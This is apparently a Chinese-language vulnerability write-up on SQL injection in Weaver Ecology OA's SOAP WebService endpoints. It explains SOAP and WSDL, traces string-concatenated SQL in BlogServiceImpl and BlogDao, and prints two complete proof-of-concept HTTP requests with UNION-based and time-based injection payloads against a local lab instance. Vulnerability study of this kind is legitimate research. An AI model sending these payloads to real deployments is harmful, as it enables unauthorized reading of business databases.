前言
不能调试的就过,主要是明白漏洞原理,知道泛微里的注入大概是个什么形式就行。
/service/BlogService
这里路由的形式是WebService,所以需要了解一下WebService以及这里配套的SOAP协议和WSDL文档。
不过这里还是先给出poc,简单看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| POST /services/BlogService HTTP/1.1 Host: 127.0.0.1:8090 Cache-Control: max-age=0 sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1:8090/ Accept-Encoding: gzip, deflate, br Cookie: ecology_JSessionid=aaaTFu27tf_OB7M3KLrIz; JSESSIONID=aaaTFu27tf_OB7M3KLrIz; __randcode__=a5cddb6a-5dc6-4cab-a850-d79303048e8f If-None-Match: "6VlXQDoaXNs" If-Modified-Since: Fri, 08 Aug 2025 01:39:01 GMT Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 347
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.blog.weaver.com.cn"> <soapenv:Header/> <soapenv:Body> <web:writeBlogReadFlag> <in0>-1 union select 1,2,sleep(3)#</in0> <in1></in1> <in2></in2> </web:writeBlogReadFlag> </soapenv:Body> </soapenv:Envelope>
|
WebService
WebService可以理解为专门对外提供服务的一个入口,它的作用是通过标准化的协议(SOAP,REST)来暴露业务功能,能够使外部应用或程序进行远程调用。如果学过RMI或者Hessian的话,应该会觉得比较熟悉,因为这实际上也是一种RPC远程方法调用。这三者都是远程调用机制,都可传递复杂对象,客户端和服务端都有接口协议。
SOAP协议
SOAP协议一般用于WebService,是一种XML格式的协议,即通过xml来描述需要调用的方法和传递的参数。
SOAP协议的三部分:
1 2 3 4 5 6
| <soap:Envelope> <soap:Header> </soap:Header> <soap:Body> </soap:Body> </soap:Envelope>
|
一般来说长这样:
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /services/BlogService HTTP/1.1 Host: example.com Content-Type: text/xml; charset=utf-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:blog="http://example.com/blog"> <soapenv:Header/> <soapenv:Body> <blog:getBlog> <blogId>123</blogId> </blog:getBlog> </soapenv:Body> </soapenv:Envelope>
|
这里代表调用getBlog方法,参数为blogId。
其响应可能长:
1 2 3 4 5 6 7 8
| <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <getBlogResponse xmlns="http://example.com/blog"> <title>Hello World</title> <content>First blog content...</content> </getBlogResponse> </soap:Body> </soap:Envelope>
|
WSDL文档
WSDL,即 Web Services Description Language ,它的作用是提供了一份接口调用说明书,就是告诉我们能够调用哪些方法,里面的参数是什么。
我们可以通过GET请求+?wsdl 的方式来查看:

主要包含五个部分:
- types
定义数据类型(类似 Java 类或数据库字段)。
- message
定义每个方法的输入输出消息结构。
- portType
定义 WebService 提供的具体操作(方法名 + 输入输出消息)。
- binding
指定协议和数据格式(如 SOAP 1.1/1.2)。
- service
定义服务端点 URL。
types:告诉方法和参数
1 2 3 4 5 6 7 8
| <xsd:element name="writeBlogReadFlag"> <xsd:complexType> <xsd:sequence> <xsd:element maxOccurs="1" minOccurs="1" name="in0" nillable="true" type="xsd:string"/> <xsd:element maxOccurs="1" minOccurs="1" name="in1" nillable="true" type="xsd:string"/> <xsd:element maxOccurs="1" minOccurs="1" name="in2" nillable="true" type="xsd:string"/> </xsd:sequence> </xsd:complexType>
|
message:每个方法对应的请求和响应
1 2 3 4 5 6 7 8
| <wsdl:message name="writeBlogReadFlagResponse"> <wsdl:part name="parameters" element="tns:writeBlogReadFlagResponse"> </wsdl:part> </wsdl:message> <wsdl:message name="writeBlogReadFlagRequest"> <wsdl:part name="parameters" element="tns:writeBlogReadFlag"> </wsdl:part> </wsdl:message>
|
portType:就是把上面合起来了
1 2 3 4 5 6
| <wsdl:operation name="writeBlogReadFlag"> <wsdl:input name="writeBlogReadFlagRequest" message="tns:writeBlogReadFlagRequest"> </wsdl:input> <wsdl:output name="writeBlogReadFlagResponse" message="tns:writeBlogReadFlagResponse"> </wsdl:output> </wsdl:operation>
|
binding:
1 2 3 4 5 6 7 8 9
| <wsdl:operation name="writeBlogReadFlag"> <wsdlsoap:operation soapAction=""/> <wsdl:input name="writeBlogReadFlagRequest"> <wsdlsoap:body use="literal"/> </wsdl:input> <wsdl:output name="writeBlogReadFlagResponse"> <wsdlsoap:body use="literal"/> </wsdl:output> </wsdl:operation>
|
service:
1 2 3 4 5
| <wsdl:service name="BlogService"> <wsdl:port name="BlogServiceHttpPort" binding="tns:BlogServiceHttpBinding"> <wsdlsoap:address location="http://127.0.0.1:8090/services/BlogService"/> </wsdl:port> </wsdl:service>
|
漏洞分析
WebService的类应该都在classbean里面,\ecology\classbean\weaver\blog\webservices\BlogServiceImpl.class
从wsdl文档中,我们知道可以调用writeBlogReadFlag方法。
weaver.blog.webservices.BlogServiceImpl#writeBlogReadFlag

跟进addReadRecord,其中两个参数都是我们可控的:
很简单的拼接。
但是不知道为什么,我这里打不通,可能是安全补丁生效了。
然后这里还有一些其他漏洞点。
比如说weaver.blog.webservices.BlogServiceImpl#getMenuItemCount

调用了weaver.blog.BlogDao#getRemindUnReadCount

这里也是拼接可控。
wsdl也是给了调用的:

反正Dao类里面,有很多地方都是直接拼接的,都可以尝试利用。
/services/workflowservicexml
https://sn1per-ssd.github.io/2024/08/15/ecology9%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/
也是一个WebService接口

主要是控制i4,最后调用getWorkflowRequestList会执行sql查询。不过这里我还是没复现成功,响应码一直是500
最终的语句是这样的,在var4处自行拼接即可,不过不清楚过滤机制,有些会被过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| SELECT DISTINCT t1.createdate, t1.createtime, t1.creater, t1.currentnodeid, t1.currentnodetype , t1.lastoperator, t1.creatertype, t1.lastoperatortype, t1.lastoperatedate, t1.lastoperatetime , t1.requestid, t1.requestname, t1.requestlevel, t1.workflowid, t2.receivedate , t2.receivetime FROM workflow_requestbase t1, workflow_currentoperator t2 WHERE t1.requestid = t2.requestid AND t2.usertype = 0 AND t2.userid = {var4} AND t2.isremark = '2' AND t2.iscomplete = 0 AND t2.islasttimes = 1 AND {var5} ORDER BY t2.receivedate DESC, t2.receivetime DESC, t1.requestid DESC LIMIT 1;
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| POST /services/WorkflowServiceXml HTTP/1.1 Host: 127.0.0.1:8090 Cache-Control: max-age=0 sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1:8090/ Accept-Encoding: gzip, deflate, br Cookie: ecology_JSessionid=aaaTFu27tf_OB7M3KLrIz; JSESSIONID=aaaTFu27tf_OB7M3KLrIz; __randcode__=a5cddb6a-5dc6-4cab-a850-d79303048e8f If-None-Match: "6VlXQDoaXNs" If-Modified-Since: Fri, 08 Aug 2025 01:39:01 GMT Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 615
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/> <soapenv:Body> <web:getHendledWorkflowRequestList> <web:in0>1</web:in0> <web:in1>1</web:in1> <web:in2>1</web:in2> <web:in3>1</web:in3> <web:in4> <web:string>1=1 UNION SELECT CONCAT(0x616263,database(),0x646667),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# </web:string> </web:in4> </web:getHendledWorkflowRequestList> </soapenv:Body> </soapenv:Envelope>
|